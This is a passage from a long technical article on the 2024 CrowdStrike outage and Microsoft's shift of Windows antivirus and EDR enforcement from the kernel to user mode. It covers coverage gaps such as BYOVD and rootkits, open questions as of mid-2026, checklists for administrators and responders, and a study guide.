An attack technique in which a malicious user-mode payload loads a signed, legitimately-issued kernel driver that has a known unfixed vulnerability, then exploits the driver&apos;s vulnerability to gain Ring-0 code execution. Because the driver is legitimately signed, neither Windows driver-signing enforcement nor most heuristic load-time defenses block the initial driver load; the attacker gets kernel privilege via a third-party driver they did not have to author or sign themselves.
&lt;p&gt;Microsoft&apos;s stated answer for the rootkit-visibility gap is to layer a generation of &lt;em&gt;hypervisor-assisted memory introspection&lt;/em&gt; below the user-mode EDR. Bitdefender shipped the first commercial Hypervisor Introspection product in 2016 on top of Xen [@xen-vmi]. Academic work has continued: &lt;em&gt;The Reversing Machine&lt;/em&gt; (Karvandi et al., May 2024, arXiv:2405.00298) describes a contemporary research-grade implementation using Intel Mode-Based Execution Control to intercept user-kernel mode transitions and a suspended-process-creation technique to attach hypervisor-based introspection to running guests transparently [@trm-arxiv-2405-00298].&lt;/p&gt;

Microsoft&apos;s family of in-platform virtualization-based security primitives. *Virtualization-Based Security (VBS)* runs a Hyper-V-derived hypervisor below the Windows kernel, creating two virtual trust levels (VTL0 for the normal kernel, VTL1 for the Secure Kernel). *Hypervisor-protected Code Integrity (HVCI)* enforces that kernel-mode pages are either writable or executable but never both, and that only signed code can be loaded into kernel mode; the enforcement runs in the Secure Kernel and cannot be subverted from VTL0 [@mslearn-hvci].
&lt;p&gt;The Microsoft-side equivalent of the Bitdefender HVI architecture is the family of platform features documented under VBS, HVCI, and the Secure Kernel [@mslearn-hvci]. The Secure Kernel is, architecturally, exactly the vantage from which a hypervisor can read guest memory authoritatively and answer questions about kernel state that the guest kernel itself cannot be trusted to answer correctly. Whether the Windows endpoint security platform&apos;s broker will surface that authoritative read to third-party EDR partners -- and through what API -- is part of the not-yet-public detail of the platform.&lt;/p&gt;
&lt;h3&gt;Gap 3: tamper resistance of the EDR process itself&lt;/h3&gt;
&lt;p&gt;A user-mode EDR is a user-mode process. Malware that obtains &lt;code&gt;SeDebugPrivilege&lt;/code&gt; -- usually by abusing a misconfigured service account or a credential-stealing exploit -- can in principle suspend or terminate the EDR process. The Windows mitigation for this class of attack is &lt;em&gt;Protected Process Light&lt;/em&gt; (PPL), the same mechanism Microsoft uses to harden &lt;code&gt;MsMpEng.exe&lt;/code&gt; (the Microsoft Defender Antimalware Service) against tampering by anything short of a kernel-mode attacker. Whether the Windows endpoint security platform&apos;s user-mode EDR processes will get PPL by default in the private preview, and whether they will get a stronger Protected Process classification, is not documented in any primary source as of mid-2026.&lt;/p&gt;
&lt;h3&gt;The BYOVD coverage question, with a dated negative finding&lt;/h3&gt;
&lt;p&gt;The CISA &lt;em&gt;Eviction Strategies Tool&lt;/em&gt; countermeasure CM0058 names the four enforcement substrates that activate Microsoft&apos;s Vulnerable Driver Block List: &lt;em&gt;&quot;Microsoft&apos;s vulnerable driver blocklist is a native utility for Windows 11 2022 and above that receives updates 1-2 times per year... enforced when Hypervisor-protected coded integrity or HVCI, Smart App Control, or S mode is active&quot;&lt;/em&gt; [@cisa-cm0058, @mslearn-driver-block-rules]. The block list itself is a Microsoft-maintained allow-list of &lt;em&gt;non-allowed&lt;/em&gt; kernel drivers -- specifically, the signed-but-vulnerable drivers known to be abused for BYOVD attacks.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Neither CISA&apos;s CM0058 page nor any Microsoft public document publishes aggregate telemetry on what fraction of Windows enterprise endpoints have any of the four enforcement substrates (HVCI, Smart App Control, S Mode, or App Control for Business) active in mid-2026 [@cisa-cm0058]. Microsoft Defender for Endpoint surfaces per-tenant Memory Integrity enablement recommendations; Microsoft has not aggregated those recommendations into a fleet-level statistic. The BYOVD enforcement coverage gap is known qualitatively (the block list exists; enforcement is opt-in via four substrates; updates are infrequent) but cannot be quantified from public evidence.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;The kernel attack surface that nothing in user mode can observe&lt;/h3&gt;
&lt;p&gt;Below all of this -- below user-mode EDR, below kernel-mode EDR, below the Secure Kernel -- lies the genuine bottom of the stack: bootkits, System Management Mode resident malware, firmware implants, and pre-boot attacks that compromise the host before any antivirus product has loaded. No user-mode EDR can meaningfully observe any of this. No kernel-mode EDR can fully observe any of this either. The platform answers are Secured-core PC, Microsoft Pluton, and Measured Boot -- platform-curated, Microsoft-owned, hardware-rooted defenses that the third-party industry does not write code inside of. The WRI does not close the firmware gap; it delegates the firmware gap to Microsoft platform features. That delegation is exactly what Microsoft has always wanted (the platform owns the security boundary) and exactly what vendors have always resisted (the platform owns the security boundary). July 19, 2024 is the day vendors stopped publicly resisting.&lt;/p&gt;
&lt;h3&gt;The coverage matrix&lt;/h3&gt;
&lt;p&gt;The coverage tradeoffs in one table. Cells mark the architecture&apos;s native ability to observe each visibility primitive: full coverage, partial coverage, or none.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Visibility primitive&lt;/th&gt;
&lt;th&gt;Kernel-callback EDR&lt;/th&gt;
&lt;th&gt;User-mode EDR + broker&lt;/th&gt;
&lt;th&gt;Hypervisor introspection&lt;/th&gt;
&lt;th&gt;Microsoft platform features&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Direct syscall (no &lt;code&gt;ntdll&lt;/code&gt; stub)&lt;/td&gt;
&lt;td&gt;full (via syscall path hooks)&lt;/td&gt;
&lt;td&gt;partial (depends on broker wire format)&lt;/td&gt;
&lt;td&gt;full (from VTL1)&lt;/td&gt;
&lt;td&gt;full (by construction)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Rootkit visibility (DKOM)&lt;/td&gt;
&lt;td&gt;partial (rootkit can subvert peer-driver views)&lt;/td&gt;
&lt;td&gt;none (broker reflects kernel-reported state)&lt;/td&gt;
&lt;td&gt;full (authoritative memory read)&lt;/td&gt;
&lt;td&gt;full (via Secure Kernel)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Tamper resistance of the EDR process&lt;/td&gt;
&lt;td&gt;partial (kernel access lets attacker disable peer driver)&lt;/td&gt;
&lt;td&gt;partial (PPL needed)&lt;/td&gt;
&lt;td&gt;full (out of band)&lt;/td&gt;
&lt;td&gt;full (Defender uses PPL today)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;BYOVD detection&lt;/td&gt;
&lt;td&gt;partial (post-load only)&lt;/td&gt;
&lt;td&gt;none (vendor cannot reload kernel)&lt;/td&gt;
&lt;td&gt;partial (post-load, via VTL1 inspection)&lt;/td&gt;
&lt;td&gt;full (Vulnerable Driver Block List + HVCI, where enabled)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Bootkit, SMM, firmware visibility&lt;/td&gt;
&lt;td&gt;none&lt;/td&gt;
&lt;td&gt;none&lt;/td&gt;
&lt;td&gt;partial (pre-OS attestation only)&lt;/td&gt;
&lt;td&gt;full (Secured-core PC, Pluton, Measured Boot)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; The user-mode EDR architecture closes the reliability problem (a Channel-File-291-class bug crashes a user-mode process, not the kernel). It does not, on its own, close the coverage problem. The coverage problem is being delegated from vendor EDR to Microsoft platform features -- to the Vulnerable Driver Block List, to HVCI, to the Secure Kernel, to Pluton, to Defender&apos;s baseline detection coverage. Whether that delegation reaches Method-A coverage equivalence is the open architectural question of mid-2026, and the honest answer is &quot;we do not yet know.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;What else is genuinely open? That is section 9.&lt;/p&gt;
&lt;h2&gt;9. What Is Still Open in mid-2026&lt;/h2&gt;
&lt;p&gt;What does the honest answer look like, twenty-three months after the outage and twelve months after the WRI&apos;s detailed rollout? Several dated negative findings and one positive finding, and the right epistemic posture for reading them is the same posture security engineers should bring to any architectural transition in flight: the absence of an announcement is its own evidence.&lt;/p&gt;
&lt;h3&gt;Has Microsoft committed to a date by which third-party AV kernel drivers will be forbidden?&lt;/h3&gt;
&lt;p&gt;No primary source uses the words &quot;ban&quot; or &quot;deadline&quot; or any equivalent hard-stop phrasing. The November 18, 2025 Microsoft Windows Experience Blog frames the program as an &lt;em&gt;enforcement&lt;/em&gt; migration -- &lt;em&gt;&quot;shifts AV enforcement from the kernel to user mode&quot;&lt;/em&gt; -- and the June 26, 2025 Weston post commits to the private preview as a step in a partner-coordinated journey, not as the first of two phases ending in a third-party kernel-driver lockout [@ms-nov-2025, @weston-2025-06-26]. The article describes the transition as multi-year, partner-coordinated, and without a published hard deadline as of mid-2026. Anyone telling you Microsoft has committed to a date is reading something into the public record that the public record does not contain.&lt;/p&gt;
&lt;h3&gt;Will the WRI user-mode EDR APIs reach feature equivalence with today&apos;s kernel-callback EDR?&lt;/h3&gt;
&lt;p&gt;The on-record partner statements quoted in the June 26, 2025 blog use hedging language: &lt;em&gt;&quot;continue to provide feedback,&quot;&lt;/em&gt; &lt;em&gt;&quot;no degradation in security or performance,&quot;&lt;/em&gt; and similar [@weston-2025-06-26]. That phrasing is not a claim of equivalence achieved; it is a claim of commitment to work toward equivalence. The strongest evidence equivalence is &lt;em&gt;reachable&lt;/em&gt; is Apple&apos;s seven-year ESF deployment: by 2026, every major Windows-side EDR vendor also ships a macOS-side ESF-based product, and the macOS-side product is broadly considered competitive in detection coverage with peer kernel-based products on other platforms. The Windows answer for mid-2026 is empirically unknown -- the API surface is in active evolution, and the partner cohort is still inside the private preview.&lt;/p&gt;
&lt;h3&gt;Has any MVI 3.0 deployment ring actually halted a vendor content update since June 26, 2025?&lt;/h3&gt;
&lt;p&gt;This is the most important operational question and the one with the most honest negative answer. No public primary source documents either a ring stop-gate event (an MVI 3.0 partner caught a latent Channel-File-291-class bug at a canary ring and halted the rollout before fleet propagation) &lt;em&gt;or&lt;/em&gt; a ring-escape incident (a latent bug got through the rings and produced a fleet event) from any of the eight named MVI 3.0 partners through the most recent search horizon. The SentinelOne May 29, 2025 cloud control-plane outage [@sentinelone-may-29-rca] is structurally orthogonal to the failure mode the rings are designed to catch -- per SentinelOne&apos;s own RCA, &lt;em&gt;&quot;a software flaw in an outgoing infrastructure control system triggered an automatic function that removed critical network routes&quot;&lt;/em&gt; and &lt;em&gt;&quot;customer endpoints remained protected&quot;&lt;/em&gt; throughout -- so it does not stress-test the rings. The honest framing has two competing readings: the rings are working silently, or the rings have not yet been stress-tested by a Channel-File-291-class latent bug in any partner&apos;s content pipeline. Neither reading can be discriminated from current public evidence.The SentinelOne May 29, 2025 event is the closest post-WRI partner-side reliability incident on the public record, and it is worth a paragraph of distinction. The failure was a cloud control-plane network-routes deletion that knocked SentinelOne&apos;s customer-facing management console offline; per the company&apos;s own RCA, customer endpoints remained protected throughout, federal environments were not impacted, and no endpoint content update was involved [@sentinelone-may-29-rca]. The event is exactly the kind of reliability incident the MVI 3.0 rings are &lt;em&gt;not&lt;/em&gt; designed to catch -- the rings address Safe Deployment Practices for sensor and content updates, not cloud control-plane reliability.&lt;/p&gt;
&lt;h3&gt;Will Microsoft hold itself to the same kernel-out standard as MVI partners?&lt;/h3&gt;
&lt;p&gt;The November 18, 2025 Microsoft Windows Experience Blog uses the framing &lt;em&gt;&quot;AV enforcement&quot;&lt;/em&gt; (not &lt;em&gt;&quot;third-party AV enforcement&quot;&lt;/em&gt;) -- by plain reading this commits Microsoft Defender for Endpoint to the same trajectory as the third-party MVI 3.0 cohort [@ms-nov-2025]. The article notes this as the closest available public Defender-kernel-out signal, while being honest that no Defender-specific GA date for the user-mode migration has been published. The same November 18 post explicitly carves out the graphics-driver exemption [@ms-nov-2025] -- which by plain reading means that &lt;em&gt;non-AV&lt;/em&gt; third-party kernel drivers will continue to ship under the existing model. The WRI is, narrowly, an AV-enforcement migration.&lt;/p&gt;

In June, we released the first private preview of the Windows endpoint security platform, which shifts AV enforcement from the kernel to user mode... Graphics drivers, for example, will continue to run in kernel mode for performance reasons. -- Microsoft Windows Experience Blog, November 18, 2025 [@ms-nov-2025]
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The MVI 3.0 ring question -- has any partner actually halted a rollout at a ring boundary since June 26, 2025? -- admits two readings from current evidence. Reading one: the rings are working silently, catching latent bugs that never become public, because the entire point of a working ring is that nothing happens. Reading two: the rings have not yet been stress-tested by a Channel-File-291-class latent bug at any partner. Both readings are consistent with the dated negative finding &quot;no public stop-gate event has been documented.&quot; Anyone telling you they know which reading is right is overclaiming. The right epistemic posture is to keep watching, and to read partner-side RCAs as they appear.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;What fraction of enterprise Windows endpoints enforces the Vulnerable Driver Block List?&lt;/h3&gt;
&lt;p&gt;The CISA CM0058 page is the canonical document and it publishes no enablement telemetry [@cisa-cm0058]. Microsoft&apos;s own documentation for the block list publishes update cadence (one to two times per year) and a per-substrate description of where the block list activates (HVCI, Smart App Control, S Mode, or App Control for Business) but no aggregate fleet-level enablement statistic [@mslearn-driver-block-rules, @cisa-cm0058]. Microsoft Defender for Endpoint surfaces per-tenant Memory Integrity enablement recommendations but does not aggregate. The BYOVD enforcement gap is known qualitatively and cannot be quantified from public evidence as of mid-2026. Anyone publishing a percentage figure for HVCI enablement across the global Windows enterprise fleet is publishing a guess.&lt;/p&gt;
&lt;p&gt;These are five open questions with five honest answers. The reader leaves section 9 knowing not the answers, but the &lt;em&gt;shape&lt;/em&gt; of the questions -- which is the right epistemic state in which to read the practical guide that follows. What should you do, mid-2026, with this knowledge? That is section 10.&lt;/p&gt;
&lt;h2&gt;10. Practical Guide for mid-2026&lt;/h2&gt;
&lt;p&gt;Three audiences, three different sets of next moves. The article has been writing for these three audiences since the first paragraph -- the Windows enterprise administrator, the security-product architect, and the incident responder -- and each gets a short, concrete checklist that respects the open architectural questions of section 9.&lt;/p&gt;
&lt;h3&gt;For the Windows enterprise administrator&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Treat your antivirus and EDR vendor&apos;s update cadence as part of your fleet&apos;s blast radius. The cadence of vendor content updates is, in mid-2026, &lt;em&gt;the&lt;/em&gt; operational variable most likely to produce your next mass-availability incident. Ask your vendor for their MVI 3.0 documentation and verify they are running staged deployment rings rather than gating only at a single global GA promote [@mslearn-mvi, @weston-2025-06-26].&lt;/li&gt;
&lt;li&gt;Enable &lt;em&gt;Quick Machine Recovery&lt;/em&gt; on Windows 11 24H2 and later [@mslearn-qmr]. QMR is the platform-level recovery primitive Microsoft built specifically for Channel-File-291-style on-disk persistence pathology, and it materially reduces recovery time for any future event that produces unbootable hosts at scale [@insider-build-26120-4230].&lt;/li&gt;
&lt;li&gt;Enable HVCI / Memory Integrity wherever your hardware supports it [@mslearn-hvci]. HVCI is one of the four substrates that activates Microsoft&apos;s Vulnerable Driver Block List, and enabling it brings the BYOVD blocklist from a published-but-inert resource to an enforced runtime control on your endpoints [@mslearn-driver-block-rules, @cisa-cm0058].&lt;/li&gt;
&lt;li&gt;If your fleet still depends on a kernel-only AV stack, push your vendor for their Method-C (user-mode) roadmap commitments. The MVI 3.0 partner cohort named in Weston&apos;s June 26, 2025 post is the right reference list: vendors not on it have not made a public commitment of equivalent specificity, and that should affect your procurement calculus [@weston-2025-06-26].&lt;/li&gt;
&lt;li&gt;Audit your Defender exclusion list. The principle of least privilege applies to your AV configuration just as much as to your user accounts -- every exclusion is a path past your detection coverage, and Defender exclusions inherited from 2018 deployments are a routine finding in modern enterprise audits.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;For the security-product architect&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Apply for MVI 3.0 partnership and request access to the Windows endpoint security platform private preview now [@mslearn-mvi]. The API surface is in active evolution and partner feedback is materially shaping the contract. Vendors who wait for GA will inherit a contract written by competitors.&lt;/li&gt;
&lt;li&gt;Plan a migration roadmap from kernel callbacks (Method A) to user-mode subscription (Method C). Assume Method A remains the bridge for several more years and that a hybrid Method-A-plus-Method-C deployment will be your production reality through at least the late 2020s. Engineer for Method C as the &lt;em&gt;future-primary&lt;/em&gt; substrate while Method A continues to carry production detection coverage.&lt;/li&gt;
&lt;li&gt;Engineer your content delivery pipeline as if the platform will eventually require ring-based staged deployment under contractual gating. The MVI 3.0 deployment-ring requirements are the model: internal ring, canary ring, GA ring, with monitored promotion gates between each [@weston-2025-06-26]. Build the pipeline now even if the contractual requirement does not yet bind you, because the alternative is rebuilding it under emergency pressure later.&lt;/li&gt;
&lt;li&gt;For BYOVD coverage and rootkit visibility you cannot get from user mode, design around platform features rather than rebuilding them yourself. The Vulnerable Driver Block List, HVCI, Secured-core PC, Pluton, and Defender&apos;s baseline are platform-curated controls; layer your detection coverage on top of them rather than parallel to them [@mslearn-driver-block-rules, @mslearn-hvci, @cisa-cm0058].&lt;/li&gt;
&lt;li&gt;Treat the Apple ESF deployment as your reference implementation. Your macOS-side ESF migration -- which most major Windows EDR vendors completed between 2019 and 2024 -- is the closest analogue to the Windows-side migration you are now starting. The architectural lessons transfer; do not repeat the early-ESF mistakes on the Windows side.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;For the incident responder&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;The on-disk artifacts from the July 19 outage -- &lt;code&gt;C-00000291*.sys&lt;/code&gt; channel files, the minidumps with &lt;code&gt;csagent.sys+0x...&lt;/code&gt; frames -- are the canonical reference set for &quot;vendor-content-update-bug-checks-kernel-driver&quot; investigations [@ms-secblog-2024-07-27]. Treat any future &quot;vendor module + &lt;code&gt;nt!KiPageFault&lt;/code&gt; + unmapped address&quot; stack as structurally analogous and apply the same runbook posture.&lt;/li&gt;
&lt;li&gt;The next analogous incident will look the same in the dumps. The faulting module name will be different; the offset will be different; the unmapped address will be different. The pattern -- vendor kernel module, page fault from &lt;code&gt;nt!KiPageFault&lt;/code&gt;, unmapped read address in the high half of the canonical address space, &lt;code&gt;PAGE_FAULT_IN_NONPAGED_AREA&lt;/code&gt; -- will be identical.&lt;/li&gt;
&lt;li&gt;Build playbooks now for &quot;vendor content update reverted but on-disk-persisted&quot; scenarios. QMR is the platform answer [@mslearn-qmr], but your runbook is what gets your fleet through the first hour before a Microsoft-provided recovery flow is appropriate. The first-hour runbook for July 19, 2024 was &quot;safe-mode boot, delete the file, reboot,&quot; and it is worth having that runbook in your incident playbook today for the next analogous event.&lt;/li&gt;
&lt;li&gt;Document your AV/EDR vendor&apos;s incident-response point of contact and their SLA. The July 19 morning was characterized by &lt;em&gt;vendor-side&lt;/em&gt; communication latency in the first hour, not by lack of platform recovery options. Pre-staging the vendor&apos;s IR contact and your fleet-wide content-revert process will compress your time-to-mitigation by orders of magnitude.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;A cross-platform reality check&lt;/h3&gt;
&lt;p&gt;A practitioner moving from macOS to Windows in 2026 will find that macOS gave them one architecture (Method C since 2019), Linux gave them one architecture in the opposite direction (eBPF dominant), and Windows is the &lt;em&gt;transitional&lt;/em&gt; platform where Methods A, B, C, D, E, and F all coexist in different states of deployment. The architectural choice on Windows in 2026 is not &quot;which method&quot;; it is &quot;which combination, and how to migrate from your current combination to your target combination.&quot; That is the bridge-year reality, and it will be the bridge-year reality through at least the late 2020s.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Mid-2026 is the bridge year. Your job is to design for the bridge, not for either bank.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;11. Common Misconceptions&lt;/h2&gt;
&lt;p&gt;Six questions a careful reader will already have answered for themselves, restated here for the reader who arrived at this section via the table of contents.&lt;/p&gt;

No. Microsoft Windows behaved exactly as the kernel-driver architecture requires it to behave when a third-party kernel driver faults at elevated IRQL: the kernel had no way to recover, so it stopped. The bug was in CrowdStrike&apos;s `csagent.sys` driver consuming a malformed CrowdStrike Channel File. Microsoft&apos;s own July 27, 2024 security blog is unambiguous about this: the WinDBG walkthrough names `csagent.sys` as the faulting image and `nt!KiPageFault+0x369` as the kernel handler that received the fault [@ms-secblog-2024-07-27]. The architectural responsibility for the post-outage migration sits with Microsoft as the platform owner, but the proximate technical cause was a third-party kernel driver consuming a third-party content file [@cs-rca-2024-08-06].

Not necessarily. The user-mode EDR architecture closes the *reliability* problem -- a Channel-File-291-class bug in a vendor&apos;s content pipeline crashes the vendor&apos;s user-mode process, not the kernel. For the *coverage* gaps that user-mode loses on its own (direct syscalls, rootkit visibility, BYOVD detection), Microsoft is layering platform features below the user-mode EDR: hypervisor-assisted introspection via VBS and HVCI [@mslearn-hvci], the Vulnerable Driver Block List for BYOVD [@mslearn-driver-block-rules, @cisa-cm0058], and Defender as the baseline detection floor. Whether the combined stack reaches coverage equivalence with today&apos;s kernel-callback EDR is the article&apos;s central open question and the honest mid-2026 answer is that it is not yet settled [@weston-2025-06-26, @ms-nov-2025].

The strongest available public signal as of mid-2026 is the November 18, 2025 Microsoft Windows Experience Blog framing that *&quot;AV enforcement&quot;* (not *&quot;third-party AV enforcement&quot;*) is shifting from kernel to user mode -- by plain reading, that includes Defender for Endpoint [@ms-nov-2025]. No Defender-specific GA date for the user-mode migration has been published. The same November 18 post explicitly carves out graphics drivers, which continue to ship in kernel mode for performance reasons -- so the WRI is, narrowly, an AV-enforcement migration and not a wholesale third-party kernel-driver lockout [@ms-nov-2025].

Probably elevated, but no public primary source establishes the specific IRQL value. The article says only that the fault occurred at an interrupt request level high enough that the kernel could not unwind to a structured exception handler in any meaningful way. Treat any IRQL-specific claim about Channel File 291 from a third-party source as speculation unless they cite a primary source that publishes the value. Microsoft&apos;s own July 27, 2024 post-mortem reproduces the WinDBG dump but does not publish the IRQL value at the moment of the fault [@ms-secblog-2024-07-27]; neither does CrowdStrike&apos;s August 6, 2024 Root Cause Analysis [@cs-rca-2024-08-06].

No. The Microsoft response is squarely a U.S.-side platform-stewardship response to a U.S.-litigated incident. European regulatory frameworks were part of the policy backdrop, and U.S. federal frameworks (Government Accountability Office, Congressional Research Service, House Homeland Security Subcommittee) shaped the political environment [@gao-24-107733, @crs-if12717-everycrsreport, @homeland-hearing-page, @govinfo-chrg-118hhrg60030]. But the proximate political cause was the operational loss of 8.5 million Windows hosts and the Congressional accountability event that followed; no regulatory body mandated the WRI&apos;s specific architectural choices.

Architecturally it is not different in any structural way. Both were vendor content updates that caused vendor kernel drivers to misbehave at fleet scale. McAfee DAT 5958 was a false positive on `svchost.exe` that triggered the McAfee kernel driver to quarantine the system file, putting Windows XP SP3 fleets into reboot loops [@uscert-mcafee-2010, @sans-isc-8656, @askperf-mcafee]. CrowdStrike Channel File 291 was a parameter-count mismatch that triggered the CrowdStrike kernel driver to dereference an unmapped address, producing `PAGE_FAULT_IN_NONPAGED_AREA` [@cs-rca-2024-08-06]. The differences were the *scale* of the 2024 event (8.5 million Windows hosts versus a far smaller XP fleet in 2010) and the *cost calculus* -- by 2024, fourteen years of recurring kernel-driver-bricks-fleet incidents had raised the political cost of doing nothing past the point where Microsoft could be politically attacked for taking action [@three-buddy-ep5].
&lt;p&gt;The seventy-eight-minute window of July 19, 2024 collapsed twenty years of political resistance to the Vista-era idea that vendor-authored kernel-mode code is a fleet-scale reliability liability, and accelerated Microsoft&apos;s Windows Resiliency Initiative into a multi-year, partner-coordinated migration that puts third-party endpoint security where Apple put it in 2019 [@apple-esf-docs] and where Microsoft itself had been quietly building the platform pieces since at least 2021 [@msft-ebpf-windows, @mslearn-hvci]. The 8.5 million figure from Brad Smith&apos;s morning-after blog post [@ms-bradsmith-2024-07-20] is the empirical anchor that supplied the political license; the Toulouse 2006 quote &lt;em&gt;&quot;either everybody has access to the kernel, or nobody does&quot;&lt;/em&gt; [@informationweek-2006-toulouse] is the historical anchor that supplied the architectural answer; the Ionescu pivot of April 3, 2025 [@cs-ionescu-ctio-2025-04-03] is the political anchor that demonstrated the answer would not be fought.&lt;/p&gt;
&lt;p&gt;Whether user-mode EDR with hypervisor-assisted memory introspection can deliver the coverage equivalence that twenty-five years of kernel-mode hooking has built is the next decade&apos;s research problem, and the honest mid-2026 answer is &lt;em&gt;we do not yet know&lt;/em&gt;. The macOS seven-year ESF deployment supplies the strongest available &lt;em&gt;yes&lt;/em&gt; evidence; the not-yet-stress-tested MVI 3.0 rings supply the strongest available &lt;em&gt;not-yet-discriminated&lt;/em&gt; evidence; the BYOVD enforcement gap that no public source quantifies supplies the strongest available &lt;em&gt;honest concern&lt;/em&gt; [@cisa-cm0058].&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; July 19, 2024 did not invent the architecture; it provided the political license for an architecture two other operating systems had already validated. The next several years will tell us whether the architecture, transplanted to Windows under the WRI, reaches feature equivalence with the kernel-mode hooking it replaces, or whether the equivalence question is the wrong question and the right question is whether the platform features layered below the user-mode broker close enough of the coverage gap. The honest answer mid-2026 is that the question is genuinely open, and the next public evidence -- the first MVI 3.0 ring stop-gate event, the first Defender-kernel-out GA, the first quantified HVCI enablement statistic -- is the evidence to watch for.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Companion articles in this series cover the substrate pieces in more depth: EDR/Sysmon as the canonical user-mode consumer of kernel ETW telemetry [@mslearn-sysmon]; Vulnerable Driver Block List as Microsoft&apos;s BYOVD platform mitigation; Process Mitigation Policies and Defender for Endpoint baselines; and Event Tracing for Windows as the cross-cutting platform observability substrate.&lt;/p&gt;
&lt;p&gt;Picture the release engineer at the CrowdStrike Falcon Cloud rollout console at 04:09 UTC on a Friday morning in July 2024, watching the deployment indicator go from staging to production for Channel File 291, with no idea that the seventy-eight-minute window about to open would be the most consequential window in twenty-five years of Windows security architecture. The engineer did everything right; the architecture, on that morning, did exactly what twenty-five years of decisions had configured it to do; and the next two years of Microsoft platform engineering, vendor-side rewrites, and political alignment exist to make sure that the next time something similar happens, it does not look like that.&lt;/p&gt;
&lt;p&gt;&amp;lt;StudyGuide slug=&quot;seventy-eight-minutes-evicted-antivirus-windows-kernel&quot; keyTerms={[
  { term: &quot;PAGE_FAULT_IN_NONPAGED_AREA&quot;, definition: &quot;Windows bug check 0x50, raised when kernel-mode code reads or writes a virtual address with no valid mapping in the page tables.&quot; },
  { term: &quot;Content Interpreter&quot;, definition: &quot;CrowdStrike terminology for the in-kernel csagent.sys subsystem that parses Rapid Response Content channel files at runtime against the Template Type schema declared in the sensor binary.&quot; },
  { term: &quot;Microsoft Virus Initiative (MVI) 3.0&quot;, definition: &quot;The April 1, 2025-effective revision of the MVI program that adds Safe Deployment Practices, deployment rings, monitored rollouts, and incident-response testing as contractual requirements for Windows AV partners.&quot; },
  { term: &quot;Windows endpoint security platform&quot;, definition: &quot;Microsoft&apos;s descriptive phrase for the user-mode API surface that lets third-party EDR products subscribe to kernel-curated security telemetry without loading their own kernel driver; in private preview to MVI 3.0 partners since July 2025.&quot; },
  { term: &quot;Quick Machine Recovery (QMR)&quot;, definition: &quot;Windows 11 24H2-era platform-level remote-remediation flow, managed via the RemoteRemediation CSP, that can boot a failing Windows host into a recovery environment and apply targeted fixes without manual safe-mode intervention.&quot; }
]} flashcards={[
  { front: &quot;What was the faulting address inside csagent.sys on July 19, 2024, per Microsoft&apos;s July 27 secblog?&quot;, back: &quot;0xffff840500000074 -- an unmapped kernel virtual address; the read fired PAGE_FAULT_IN_NONPAGED_AREA.&quot; },
  { front: &quot;How long did the seventy-eight-minute window run?&quot;, back: &quot;From 04:09 UTC push to 05:27 UTC revert; 78 minutes, with persistence-across-reboot pathology after the revert.&quot; },
  { front: &quot;Name the three architectural answers to where the third-party security observer runs.&quot;, back: &quot;(1) User mode subscribing via platform broker (Apple ESF, Windows endpoint security platform). (2) Kernel mode, verifier-bounded extension (Linux eBPF, eBPF for Windows). (3) Hypervisor, below the guest kernel (Bitdefender HVI, Microsoft VBS/HVCI/Secure Kernel).&quot; }
]} questions={[
  { q: &quot;Why did the kernel context of csagent.sys make the Channel File 291 bug catastrophic, when the same general bug in a user-mode parser would only have crashed the parser process?&quot;, a: &quot;Because a fault in a user-mode process is recoverable by the operating system, while a fault in a kernel driver at elevated IRQL forces the kernel to bug-check the entire system. The bug itself (out-of-bounds read from a parameter array) is mundane; the kernel context made it catastrophic.&quot; },
  { q: &quot;What did the Windows Resiliency Initiative commit to in November 2024 that did not exist before September 2024?&quot;, a: &quot;A named, branded multi-year program (the WRI) with four pillars, including a public commitment to deliver a private preview of user-mode EDR APIs to MVI partners in July 2025. The September 12, 2024 Weston post had committed to the architectural direction; the November 19, 2024 Ignite post committed to the named program and the dated milestones.&quot; },
  { q: &quot;What is the honest mid-2026 answer to the user-mode EDR coverage-equivalence question?&quot;, a: &quot;We do not yet know. The Apple ESF seven-year deployment supplies positive evidence that equivalence is reachable; the not-yet-stress-tested MVI 3.0 rings and the unquantified BYOVD enforcement gap supply honest concerns. The right epistemic posture is to keep watching.&quot; }
]} /&amp;gt;&lt;/p&gt;
